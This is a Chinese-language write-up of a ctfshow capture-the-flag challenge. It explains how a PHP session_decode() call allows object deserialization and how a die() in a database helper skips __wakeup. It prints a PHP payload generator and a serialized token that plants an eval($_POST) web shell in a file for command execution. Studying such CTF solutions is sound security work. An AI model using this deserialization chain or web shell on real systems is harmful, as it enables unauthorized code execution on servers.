ctfshow红包9
只能说非常之侥幸,ctfshow改不了名字,所现在用的还是wws
源码分析
源码太多了就不发了,看到源码一堆类,应该是需要反序列化了,看一下关键部分common.php的getLoginName函数,发现有一个session_decode()
去看了一下session_decode的用法,结果如下
这里就想到如果我把后面内容换成类,那么是不是可以触发反序列化呢?
问了一下chatgpt,然后在远端试了一下,确实如此
触发条件
触发条件是没有data且存在get参数token(详见上面截图),溯源一下,发现这个函数在templates/main.php中被引用
这里我们继续溯源,发现在index.php存在这样一段代码
分析上面的switch case,我们可以得到这里的action需要为main
所以我们需要做的就是让action为main并传入一个token值(格式为user|xxxxxx)
userLogger类分析
class userLogger{
public $username;
private $password;
private $filename;
public function __construct(){
$this->filename = "log.txt_$this->username-$this->password";
}
public function setLogFileName($filename){
$this->filename = $filename;
}
public function __wakeup(){
$this->filename = "log.txt";
}
public function user_register($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_login($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_logout(){
$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function __destruct(){
$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename,$data,FILE_APPEND);
}
}
简单分析一下可以得到基本思路,用用户名或者密码写shell,通过修改“日志”的名称执行php代码,进而命令执行,但是这里就遇到了一个问题,我们在反序列化时会先调用wakeup函数,而wakeup会将“日志”重命名为log.txt,所以这里就必须得绕过了,试过了CVE 2016-7124,没用,也试过将filename引用username的值,但引用之后两个都会被wakeup覆盖,具体实验流程我就不写了。
这里想到了前几个月做过的一道题,tostring触发了异常导致无法触发destruct,哦吼?那是不是也可以触发异常导致没法wakeup?然后又对userLogger类进了溯源
分析图一的代码,就可以发现这个debug非常的奇怪,跟踪发现是用来触发图二的log_last_user函数,继续对函数进行跟踪可以发现图三的代码,大致是数据库连接用的,发现了什么?发现有die,哦吼?那是不是只要触发了这个异常就可以不执行wakeup呢?payload如下
<?php
class mysql_helper{
private $db;
}
class application{
public $loger;
public $debug=true;
public $mysql;
public function __construct(){
$this->loger = new userLogger();
$this->mysql = new mysql_helper();
}
}
class userLogger{
public $username='<?php eval($_POST[chuling]); ?>';
public $password="name";
public $filename="2.php";
}
$a = new application();
echo serialize($a);
我这里运行后username中的代码没法显示,得手动添加,加完直接传,记得fast_destruct
token=user|O:11:"application":3:{s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:31:"<?php eval($_POST[chuling]); ?>";s:8:"password";s:4:"name";s:8:"filename";s:5:"3.php";}s:5:"debug";b:1;s:5:"mysql";O:12:"mysql_helper":1:{s:16:"mysql_helperdb";N;}}
结果如下:
已经可以命令执行了。